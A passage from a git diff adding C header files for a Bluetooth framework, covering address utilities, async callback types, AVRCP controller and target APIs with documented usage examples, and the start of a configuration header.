**Example:** + * @code + * bt_address_t addr = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * char str[BT_ADDR_STR_LENGTH]; + * if (bt_addr_ba2str(&addr, str) == 0) { + * // str now contains the address string in the format "00:11:22:33:44:55" + * } + * @endcode + */ +int bt_addr_ba2str(const bt_address_t* addr, char* str); + + +/** + * @brief Convert a string to a Bluetooth address. + * + * Parses a string representation of a Bluetooth address and stores it in a `bt_address_t` structure. + * + * @param str - Pointer to the string containing the Bluetooth address (format "XX:XX:XX:XX:XX:XX"). + * @param addr - Pointer to the Bluetooth address structure to store the result. + * After calling this function, `addr` will contain the parsed Bluetooth address. + * @return int - Returns zero on success, negative value on failure. + * + * **Example:** + * @code + * bt_address_t addr; + * if (bt_addr_str2ba("00:11:22:33:44:55", &addr) == 0) { + * // addr now contains the parsed address in the format {0x00, 0x11, 0x22, 0x33, 0x44, 0x55} + * } + * @endcode + */ +int bt_addr_str2ba(const char* str, bt_address_t* addr); + + +/** + * @brief Get the string representation of a Bluetooth address. + * + * Returns a string representation of the Bluetooth address. + * + * @param addr - Pointer to the Bluetooth address. + * This should point to a valid `bt_address_t` structure. + * @return char* - Pointer to a static string containing the address in "XX:XX:XX:XX:XX:XX" format. + * + * **Note:** The returned string is stored in a static buffer and may be overwritten by subsequent calls. + * + * **Example:** + * @code + * bt_address_t addr = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * printf("Address: %s\n", bt_addr_bastr(&addr)); + * // Output: Address: 00:11:22:33:44:55 + * @endcode + */ +char* bt_addr_bastr(const bt_address_t* addr); + +/** + * @brief Set a Bluetooth address. + * + * Sets the Bluetooth address from a byte array. + * + * @param addr - Pointer to the Bluetooth address structure to set. + * This should point to a valid `bt_address_t` structure that will be updated with the new address. + * @param bd - Pointer to a byte array containing the address bytes (of length `BT_ADDR_LENGTH`). + * The array should contain exactly 6 bytes representing the Bluetooth address. + * + * **Example:** + * @code + * bt_address_t addr; + * uint8_t bd[BT_ADDR_LENGTH] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * bt_addr_set(&addr, bd); + * // addr now contains the address {0x00, 0x11, 0x22, 0x33, 0x44, 0x55} + * @endcode + */ +void bt_addr_set(bt_address_t* addr, const uint8_t* bd); + + +/** + * @brief Swap byte order of a Bluetooth address. + * + * Swaps the byte order of a Bluetooth address (e.g., from little-endian to big-endian). + * + * @param src - Pointer to the source Bluetooth address (type `bt_address_t`). + * @param dest - Pointer to the destination Bluetooth address where the swapped address will be stored. + * This should point to a valid `bt_address_t` structure. + * + * **Example:** + * @code + * bt_address_t addr = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; + * bt_address_t swapped_addr; + * bt_addr_swap(&addr, &swapped_addr); + * // swapped_addr now contains the address with byte order swapped + * @endcode + */ +void bt_addr_swap(const bt_address_t* src, bt_address_t* dest); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_ADDR_H__ */ diff --git a/framework/include/bt_async.h b/framework/include/bt_async.h new file mode 100644 index 0000000000000000000000000000000000000000..135f6ff983f025963ad9add1befa0d009a9f2d82 --- /dev/null +++ b/framework/include/bt_async.h @@ -0,0 +1,53 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_ASYNC_H__ +#define __BT_ASYNC_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#define HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, type, userdata) \ + do { \ + if (!ret_cb) \ + return; \ + if (!packet) { \ + ret_cb(ins, BT_STATUS_UNHANDLED, userdata); \ + return; \ + } \ + ret_cb(ins, packet->type.status, userdata); \ + } while (0) + +typedef void (*bt_status_cb_t)(bt_instance_t* ins, bt_status_t status, void* userdata); +typedef void (*bt_address_cb_t)(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, void* userdata); +typedef void (*bt_uuids_cb_t)(bt_instance_t* ins, bt_status_t status, bt_uuid_t* uuids, uint16_t size, void* userdata); +typedef void (*bt_device_type_cb_t)(bt_instance_t* ins, bt_status_t status, bt_device_type_t dtype, void* userdata); +typedef void (*bt_bool_cb_t)(bt_instance_t* ins, bt_status_t status, bool bbool, void* userdata); +typedef void (*bt_string_cb_t)(bt_instance_t* ins, bt_status_t status, const char* str, void* userdata); +typedef void (*bt_s8_cb_t)(bt_instance_t* ins, bt_status_t status, int8_t val, void* userdata); +typedef void (*bt_u8_cb_t)(bt_instance_t* ins, bt_status_t status, uint8_t val, void* userdata); +typedef void (*bt_u16_cb_t)(bt_instance_t* ins, bt_status_t status, uint16_t val, void* userdata); +typedef void (*bt_u32_cb_t)(bt_instance_t* ins, bt_status_t status, uint32_t val, void* userdata); +#endif + +#ifdef __cplusplus +} +#endif + +#endif \ No newline at end of file diff --git a/framework/include/bt_avrcp.h b/framework/include/bt_avrcp.h new file mode 100644 index 0000000000000000000000000000000000000000..65a09ce016831846b046e12a8f135b6782e848cc --- /dev/null +++ b/framework/include/bt_avrcp.h @@ -0,0 +1,192 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_AVRCP_H__ +#define __BT_AVRCP_H__ + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" + +/** + * @cond + */ +#define AVRCP_MAX_ATTR_COUNT 9 +#define AVRCP_ATTR_MAX_TIELE_LEN 64 +#define AVRCP_ATTR_MAX_ARTIST_LEN 64 +#define AVRCP_ATTR_MAX_ALBUM_LEN 0 +#define AVRCP_ATTR_MAX_TRACK_NUMBER_LEN 0 +#define AVRCP_ATTR_MAX_TOTAL_TRACK_NUMBER_LEN 0 +#define AVRCP_ATTR_MAX_GENER_LEN 0 +#define AVRCP_ATTR_MAX_PLAYING_TIMES_LEN 0 +#define AVRCP_ATTR_MAX_COVER_ART_HANDLE_LEN 0 + +typedef enum { + PASSTHROUGH_CMD_ID_SELECT, + PASSTHROUGH_CMD_ID_UP, + PASSTHROUGH_CMD_ID_DOWN, + PASSTHROUGH_CMD_ID_LEFT, + PASSTHROUGH_CMD_ID_RIGHT, + PASSTHROUGH_CMD_ID_RIGHT_UP, + PASSTHROUGH_CMD_ID_RIGHT_DOWN, + PASSTHROUGH_CMD_ID_LEFT_UP, + PASSTHROUGH_CMD_ID_LEFT_DOWN, + PASSTHROUGH_CMD_ID_ROOT_MENU, + PASSTHROUGH_CMD_ID_SETUP_MENU, + PASSTHROUGH_CMD_ID_CONTENTS_MENU, + PASSTHROUGH_CMD_ID_FAVORITE_MENU, + PASSTHROUGH_CMD_ID_EXIT, + PASSTHROUGH_CMD_ID_0, + PASSTHROUGH_CMD_ID_1, + PASSTHROUGH_CMD_ID_2, + PASSTHROUGH_CMD_ID_3, + PASSTHROUGH_CMD_ID_4, + PASSTHROUGH_CMD_ID_5, + PASSTHROUGH_CMD_ID_6, + PASSTHROUGH_CMD_ID_7, + PASSTHROUGH_CMD_ID_8, + PASSTHROUGH_CMD_ID_9, + PASSTHROUGH_CMD_ID_DOT, + PASSTHROUGH_CMD_ID_ENTER, + PASSTHROUGH_CMD_ID_CLEAR, + PASSTHROUGH_CMD_ID_CHANNEL_UP, + PASSTHROUGH_CMD_ID_CHANNEL_DOWN, + PASSTHROUGH_CMD_ID_PREVIOUS_CHANNEL, + PASSTHROUGH_CMD_ID_SOUND_SELECT, + PASSTHROUGH_CMD_ID_INPUT_SELECT, + PASSTHROUGH_CMD_ID_DISPLAY_INFO, + PASSTHROUGH_CMD_ID_HELP, + PASSTHROUGH_CMD_ID_PAGE_UP, + PASSTHROUGH_CMD_ID_PAGE_DOWN, + PASSTHROUGH_CMD_ID_POWER, + PASSTHROUGH_CMD_ID_VOLUME_UP, + PASSTHROUGH_CMD_ID_VOLUME_DOWN, + PASSTHROUGH_CMD_ID_MUTE, + PASSTHROUGH_CMD_ID_PLAY, + PASSTHROUGH_CMD_ID_STOP, + PASSTHROUGH_CMD_ID_PAUSE, + PASSTHROUGH_CMD_ID_RECORD, + PASSTHROUGH_CMD_ID_REWIND, + PASSTHROUGH_CMD_ID_FAST_FORWARD, + PASSTHROUGH_CMD_ID_EJECT, + PASSTHROUGH_CMD_ID_FORWARD, + PASSTHROUGH_CMD_ID_BACKWARD, + PASSTHROUGH_CMD_ID_ANGLE, + PASSTHROUGH_CMD_ID_SUBPICTURE, + PASSTHROUGH_CMD_ID_F1, + PASSTHROUGH_CMD_ID_F2, + PASSTHROUGH_CMD_ID_F3, + PASSTHROUGH_CMD_ID_F4, + PASSTHROUGH_CMD_ID_F5, + PASSTHROUGH_CMD_ID_VENDOR_UNIQUE, + PASSTHROUGH_CMD_ID_NEXT_GROUP, + PASSTHROUGH_CMD_ID_PREV_GROUP, + PASSTHROUGH_CMD_ID_RESERVED +} avrcp_passthr_cmd_t; + +typedef enum { + AVRCP_KEY_PRESSED, + AVRCP_KEY_RELEASED +} avrcp_key_state_t; + +typedef enum { + PLAY_STATUS_STOPPED = 0, + PLAY_STATUS_PLAYING, + PLAY_STATUS_PAUSED, + PLAY_STATUS_FWD_SEEK, + PLAY_STATUS_REV_SEEK, + PLAY_STATUS_ERROR, +} avrcp_play_status_t; + +typedef enum { + AVRCP_CAPABILITY_ID_COMPANY_ID = 2, + AVRCP_CAPABILITY_ID_EVENTS_SUPPORTED, +} avrcp_capability_id_t; + +typedef enum { + NOTIFICATION_EVT_PALY_STATUS_CHANGED = 0x01, + NOTIFICATION_EVT_TRACK_CHANGED, + NOTIFICATION_EVT_TRACK_END, + NOTIFICATION_EVT_TRACK_START, + NOTIFICATION_EVT_PLAY_POS_CHANGED, + NOTIFICATION_EVT_BATTERY_STATUS_CHANGED, + NOTIFICATION_EVT_SYSTEM_STATUS_CHANGED, + NOTIFICATION_EVT_APP_SETTING_CHANGED, + NOTIFICATION_EVT_NOW_PLAYING_CONTENT_CHANGED, + NOTIFICATION_EVT_AVAILABLE_PLAYERS_CHANGED, + NOTIFICATION_EVT_ADDRESSED_PLAYER_CHANGED, + NOTIFICATION_EVT_UIDS_CHANGED, + NOTIFICATION_EVT_VOLUME_CHANGED, + NOTIFICATION_EVT_FLAG_INTERIM +} avrcp_notification_event_t; + +typedef enum { + AVRCP_RESPONSE_NOT_IMPLEMENTED, + AVRCP_RESPONSE_ACCEPTED, + AVRCP_RESPONSE_REJECTED, + AVRCP_RESPONSE_IN_TRANSITION, + AVRCP_RESPONSE_IMPLEMENTED_STABLE, + AVRCP_RESPONSE_CHANGED, + AVRCP_RESPONSE_INTERIM, + AVRCP_RESPONSE_BROWSING, + AVRCP_RESPONSE_SKIPPED, + AVRCP_RESPONSE_TIMEOUT +} avrcp_response_t; + +typedef enum { + AVRCP_ATTR_TITLE = 1, + AVRCP_ATTR_ARTIST_NAME, + AVRCP_ATTR_ALBUM_NAME, + AVRCP_ATTR_TRACK_NUMBER, + AVRCP_ATTR_TOTAL_NUMBER_OF_TRACKS, + AVRCP_ATTR_GENRE, + AVRCP_ATTR_PLAYING_TIME_MS, + AVRCP_ATTR_COVER_ART_HANDLE +} avrcp_media_attr_type_t; +/** + * @endcond + */ + +/** + * @brief Callback for AVRCP connection state changed. + * + * There are four states for an AVRCP connection, namely DISCONNECTED, CONNECTING, + * CONNECTED, and DISCONNECTING. During the initialization phase of the AVRCP, + * it is necessary to register callback functions. This callback is triggered + * when there is a change in the state of the AVRCP connection. + * + * Stable States: + * DISCONNECTED: The initial state. + * CONNECTED: The AVRCP connection is established. + * Transient states: + * CONNECTING: The AVRCP connection is being established. + * DISCONNECTING: The AVRCP connection is being terminated. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - AVRCP profile connection state. + * + * **Example:** + * @code +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + printf("AVRCP connection state is: %d", state); +} + * @endcode + */ +typedef void (*avrcp_connection_state_callback)(void* cookie, bt_address_t* addr, profile_connection_state_t state); + +#endif /* __BT_AVRCP_H__ */ diff --git a/framework/include/bt_avrcp_control.h b/framework/include/bt_avrcp_control.h new file mode 100644 index 0000000000000000000000000000000000000000..af8958b4924f25e1cf29793c31dba897e279055e --- /dev/null +++ b/framework/include/bt_avrcp_control.h @@ -0,0 +1,177 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_AVRCP_CONTROL_H__ +#define __BT_AVRCP_CONTROL_H__ + +#include "bt_avrcp.h" + +/** + * @cond + */ +typedef struct { + uint32_t attr_id; + uint16_t chr_set; + uint8_t* text; +} avrcp_element_attr_val_t; + +typedef struct { + uint8_t title[AVRCP_ATTR_MAX_TIELE_LEN + 1]; + uint8_t artist[AVRCP_ATTR_MAX_ARTIST_LEN + 1]; + uint8_t album[AVRCP_ATTR_MAX_ALBUM_LEN + 1]; + uint8_t track_number[AVRCP_ATTR_MAX_TRACK_NUMBER_LEN + 1]; + uint8_t total_track_number[AVRCP_ATTR_MAX_TOTAL_TRACK_NUMBER_LEN + 1]; + uint8_t gener[AVRCP_ATTR_MAX_GENER_LEN + 1]; + uint8_t playing_time_ms[AVRCP_ATTR_MAX_PLAYING_TIMES_LEN + 1]; + uint8_t cover_art_handle[AVRCP_ATTR_MAX_COVER_ART_HANDLE_LEN + 1]; +} avrcp_socket_element_attr_val_t; + +typedef void (*avrcp_get_element_attribute_cb)(void* cookie, bt_address_t* addr, uint8_t attrs_count, avrcp_element_attr_val_t* attrs); +typedef struct { + size_t size; + avrcp_connection_state_callback connection_state_cb; + avrcp_get_element_attribute_cb get_element_attribute_cb; +} avrcp_control_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Register callback functions to AVRCP Controller service. + * + * When initializing an AVRCP Controller, an application should register callback functions + * to the AVRCP Controller service. Subsequently, the AVRCP Controller service will + * notify the application of any state changes via the registered callback functions. + * + * Callback functions includes: + * * connection_state_cb + * * get_element_attribute_cb + * + * @param ins - Bluetooth client instance. + * @param callbacks - AVRCP Controller callback functions. + * @return void* - Callbacks cookie, if the callback is registered successfuly. NULL, + * if the callback is already registered or registration fails. + * To obtain more information, refer to bt_remote_callbacks_register(). + * + * **Example:** + * @code +static const avrcp_control_callbacks_t avrcp_control_cbs = { + .size = sizeof(avrcp_control_cbs), + .connection_state_cb = avrcp_control_connection_state_cb, + .get_element_attribute_cb = avrcp_control_get_element_attribute_cb, +}; + +void avrcp_control_init(void* ins) +{ + static void* control_cbks_cookie; + + control_cbks_cookie = bt_avrcp_control_register_callbacks(ins, &avrcp_control_cbs); +} + * @endcode + */ +void* BTSYMBOLS(bt_avrcp_control_register_callbacks)(bt_instance_t* ins, const avrcp_control_callbacks_t* callbacks); + +/** + * @brief Unregister callback functions from AVRCP Controller service. + * + * An application may use this interface to stop listening on the AVRCP Controller + * callbacks and to release the associated resources. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callbacks cookie. + * @return true - Callback unregistration successful. + * @return false - Callback cookie not found or callback unregistration failed. + * + * **Example:** + * @code +void avrcp_control_uninit(void* ins) +{ + bt_avrcp_control_unregister_callbacks(ins, control_cbks_cookie); +} + * @endcode + */ +bool BTSYMBOLS(bt_avrcp_control_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Get element attributes from AVRCP Target. + * + * This function is used when an application wants to obtain song information + * from an AVRCP Target device, including title, artist name, album name, track + * number, total number of tracks, genre, playing time. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +bt_status_t start_get_element_attributes(bt_instance_t* ins, bt_address_t* addr) +{ + bt_status_t ret = bt_avrcp_control_get_element_attributes(ins, addr); + + return ret; +} + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_get_element_attributes)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Send passthrough cmd to peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - Remote BT address. + * @param cmd - Passthrough cmd. + * @param state - PRESSED or RELEASED. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_send_passthrough_cmd)(bt_instance_t* ins, bt_address_t* addr, uint8_t cmd, uint8_t state); + +/** + * @brief Get unit info from peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - Remote BT address. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_get_unit_info)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get subunit info from peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - Remote BT address. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_get_subunit_info)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Get playback state from peer device. + * + * @param ins - Bluetooth client instance. + * @param addr - Remote BT address. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_get_playback_state)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Register notification to peer device, this interface is used for pts. + * + * @param ins - Bluetooth client instance. + * @param addr - Remote BT address. + * @param event - Notification event. + * @param interval - Notification interval. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_avrcp_control_register_notification)(bt_instance_t* ins, bt_address_t* addr, uint8_t event, uint32_t interval); +#endif /* __BT_AVRCP_CONTROL_H__ */ diff --git a/framework/include/bt_avrcp_target.h b/framework/include/bt_avrcp_target.h new file mode 100644 index 0000000000000000000000000000000000000000..9bade18f5406eba165a83af0f89d4f2de9444274 --- /dev/null +++ b/framework/include/bt_avrcp_target.h @@ -0,0 +1,226 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_AVRCP_TARGET_H__ +#define __BT_AVRCP_TARGET_H__ + +#include "bt_avrcp.h" +#ifdef __cplusplus +extern "C" { +#endif +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @brief Callback for playing status request from AVRCP Controller. + * + * During the initialization process of an AVRCP target, callback functions are registered. + * This callback is triggered when a request for the current player status is received by + * the AVRCP Target from an AVRCP Controller. + * + * The status of the player includes: playing, paused, stopped, seek forward, and seek rewind. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +static void on_get_play_status_request_cb(void* cookie, bt_address_t* addr) +{ + avrcp_play_status_t status = AVRCP_PLAY_STATUS_PLAYING; + uint32_t song_len = 180000; + uint32_t song_pos = 10000; + bt_instance_t* ins = cookie; + bt_avrcp_target_get_play_status_response(ins, addr, status, song_len, song_pos); +} + * @endcode + */ +typedef void (*avrcp_received_get_play_status_request_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Callback for register notification request. + * + * All player application attributes can be registered as events by an AVRCP Controller. + * When an AVRCP Controller has registered a specific event to an AVRCP Target, the Target + * shall notify the Controller on change in value of the registered event. In particular, + * a notify command terminates after providing a corresponding change. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param event - The event that the AVRCP Controller wants to be notified about. + * @param interval - Applicable only for PLAY_POS_CHANGED event. + * + * **Example:** + * @code +uint16_t notify_event = 0; +static void on_register_notification_request_cb(void* cookie, bt_address_t* addr, avrcp_notification_event_t event, uint32_t interval) +{ + notify_event |= event; +} + * @endcode + */ +typedef void (*avrcp_received_register_notification_request_callback)(void* cookie, bt_address_t* addr, avrcp_notification_event_t event, uint32_t interval); + +/** + * @brief Callback for panel operation. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param op - Panel operation. + * @param state - Key state. + */ +typedef void (*avrcp_received_panel_operation_callback)(void* cookie, bt_address_t* addr, uint8_t op, uint8_t state); + +/** + * @cond + */ +typedef struct { + size_t size; + avrcp_connection_state_callback connection_state_cb; + avrcp_received_get_play_status_request_callback received_get_play_status_request_cb; + avrcp_received_register_notification_request_callback received_register_notification_request_cb; + avrcp_received_panel_operation_callback received_panel_operation_cb; +} avrcp_target_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Register callback functions to AVRCP Target service. + * + * When initializing an AVRCP Target, an application should register callback functions + * to the AVRCP Target service. Subsequently, the AVRCP Target service will notify the + * application of any state changes via the registered callback functions. + * + * Callback functions includes: + * * connection_state_cb + * * received_get_play_status_request_cb + * * received_register_notification_request_cb + * * received_panel_operation_cb + * + * + * @param ins - Bluetooth client instance. + * @param callbacks - AVRCP Target callback functions. + * @return void* - Callbacks cookie, if the callback is registered successfuly. NULL, + * if the callback is already registered or registration fails. + * To obtain more information, refer to bt_remote_callbacks_register(). + * + * **Example:** + * @code +const static avrcp_target_callbacks_t g_avrcp_target_cbs = { + .size = sizeof(avrcp_target_callbacks_t), + .connection_state_cb = on_connection_state_changed_cb, + .received_get_play_status_request_cb = on_get_play_status_request_cb, + .received_register_notification_request_cb = on_register_notification_request_cb, + .received_panel_operation_cb = on_received_panel_operation_cb, +}; + +void avrcp_target_init(void* ins) +{ + static void* target_cbks_cookie; + + target_cbks_cookie = bt_avrcp_target_register_callbacks(ins, &g_avrcp_target_cbs); +} + * @endcode + */ +void* BTSYMBOLS(bt_avrcp_target_register_callbacks)(bt_instance_t* ins, const avrcp_target_callbacks_t* callbacks); + +/** + * @brief Unregister callback functions to AVRCP Target service. + * + * An application may use this interface to stop listening on the AVRCP Target + * callbacks and to release the associated resources. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callbacks cookie. + * @return true - Callback unregistration successful. + * @return false - Callback cookie not found or callback unregistration failed. + * + * **Example:** + * @code +void avrcp_target_uninit(void* ins) +{ + bt_avrcp_target_unregister_callbacks(ins, target_cbks_cookie); +} + */ +bool BTSYMBOLS(bt_avrcp_target_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Tell the AVRCP Controller the current state of the player. + * + * An application of an AVRCP Target will call this interface to send the current + * status of the player when "received_get_play_status_request_cb" event is triggered. + * Additionally, the total length and the position of the current song should also + * be returned as described in the AVRCP profile. In particular, if this Target does + * not support total length and current position of the song, then the Target shall + * return 0xFFFFFFFF. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param status - Current play status. + * @param song_len - Song length in ms. + * @param song_pos - Current position in ms. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +static void on_get_play_status_request_cb(void* cookie, bt_address_t* addr) +{ + avrcp_play_status_t status = AVRCP_PLAY_STATUS_PLAYING; + uint32_t song_len = 0xFFFFFFFF; + uint32_t song_pos = 0xFFFFFFFF; + bt_instance_t* ins = cookie; + bt_avrcp_target_get_play_status_response(ins, addr, status, song_len, song_pos); +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_avrcp_target_get_play_status_response)(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t status, + uint32_t song_len, uint32_t song_pos); + +/** + * @brief Notify the status of a player if peer device has registered the corresponding event. + * + * If the status of a player changes and an AVRCP Controller has registered for that event, + * the AVRCP target should use that interface to send a change notification to the Controller + * with the current status. In particular, after this notification, the registered notification + * event by the AVRCP Controller becomes invalid. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param status - Current play status. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example:** + * @code +uint16_t notify_event; + +static void avrcp_target_play_status_changed(void* cookie, bt_address_t* addr, avrcp_play_status_t status) +{ + bt_instance_t* ins = cookie; + if (notify_event & AVRCP_NOTIFICATION_EVENT_PLAY_STATUS_CHANGED) { + bt_avrcp_target_play_status_notify(ins, addr, status); + + notify_event &= ~AVRCP_NOTIFICATION_EVENT_PLAY_STATUS_CHANGED; + } +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_avrcp_target_play_status_notify)(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t status); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_AVRCP_TARGET_H__ */ diff --git a/framework/include/bt_config.h b/framework/include/bt_config.h new file mode 100644 index 0000000000000000000000000000000000000000..0ba206a852a6b486f6580b1efb94d00bb8d11600 --- /dev/null +++ b/framework/include/bt_config.h @@ -0,0 +1,135 @@ +#ifndef __INCLUDE_BT_CONFIG_H +#define __INCLUDE_BT_CONFIG_H + +// Configuration of Bluetooth Framework/Service/Stack +#if defined(__NuttX__) + +#include <nuttx/config.h> + +#elif defined(ANDROID) + +#define CONFIG_LIB_BLUELET 1 +#define CONFIG_QBUF_COUNT 20 +#define CONFIG_BREDR 1 +#define CONFIG_RFCOMM 1 +#define CONFIG_LE 1 +#define CONFIG_A2DP 1 +#define CONFIG_BLUELET_A2DP_SBC_MAX_BIT_POOL 32 +#define CONFIG_BLUELET_AVRCP_TG_ABSVOL_SUPPORT 1 +#define CONFIG_BLUELET_AVRCP_MAX_CONNECTIONS 1 +#define CONFIG_HFP 1 +#define CONFIG_HFP_HF 1 +#define CONFIG_HFP_AG 1 +#define CONFIG_HID 1 +#define CONFIG_BLUELET_HCI_H4 1 +#define CONFIG_BLUELET_HCI_UART_NAME "/dev/ttyBT0" +#define CONFIG_BLUELET_HCI_RX_STACKSIZE 4096 +#define CONFIG_BLUELET_DEBUG 1 +#define CONFIG_BLUELET_DBG_HCI 1 +#define CONFIG_BLUELET_DBG_HCIRAW 1 +#define CONFIG_BLUELET_HCI_SNOOP_LOG_EN 1 +#define CONFIG_BLUELET_HCI_SNOOP_CREATE_NEW 1 +#define CONFIG_BLUELET_HCI_SNOOP_LOG_PATH "/data/misc/bt/snoop/" +#define CONFIG_BLUETOOTH 1 +#define CONFIG_BLUETOOTH_BREDR_SUPPORT 1 +#define CONFIG_BLUETOOTH_BLE_SUPPORT 1 +#define CONFIG_BLUETOOTH_BLE_ADV 1 +#define CONFIG_BLUETOOTH_BLE_SCAN 1 +#define CONFIG_BLUETOOTH_GATT_CLIENT 1 +#define CONFIG_BLUETOOTH_GATT_SERVER 1 +#define CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_STACK_SIZE 8192 +#define CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY 103 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_RPSMG_SERVER 1 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL 0 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO 1 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL 2 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO 3 +#define CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL 4 +#define CONFIG_BLUETOOTH_A2DP_SINK_CTRL_PATH "a2dp_sink_ctrl" +#define CONFIG_BLUETOOTH_A2DP_SINK_DATA_PATH "a2dp_sink_data" +#define CONFIG_BLUETOOTH_A2DP_SOURCE_CTRL_PATH "a2dp_source_ctrl" +#define CONFIG_BLUETOOTH_A2DP_SOURCE_DATA_PATH "a2dp_source_data" +#define CONFIG_BLUETOOTH_LEA_SINK_CTRL_PATH "lea_sink_ctrl" +#define CONFIG_BLUETOOTH_LEA_SINK_DATA_PATH "lea_sink_data" +#define CONFIG_BLUETOOTH_LEA_SOURCE_CTRL_PATH "lea_source_ctrl" +#define CONFIG_BLUETOOTH_LEA_SOURCE_DATA_PATH "lea_source_data" +#define CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN 80 +#define CONFIG_BLUETOOTH_SCO_CTRL_PATH "sco_ctrl" +#define CONFIG_BLUETOOTH_L2CAP 1 +#define CONFIG_BLUETOOTH_L2CAP_OUTGOING_MTU 2048 +#define CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS 8 +#define CONFIG_BLUETOOTH_GATTS_MAX_ATTRIBUTE_NUM 10 +#define 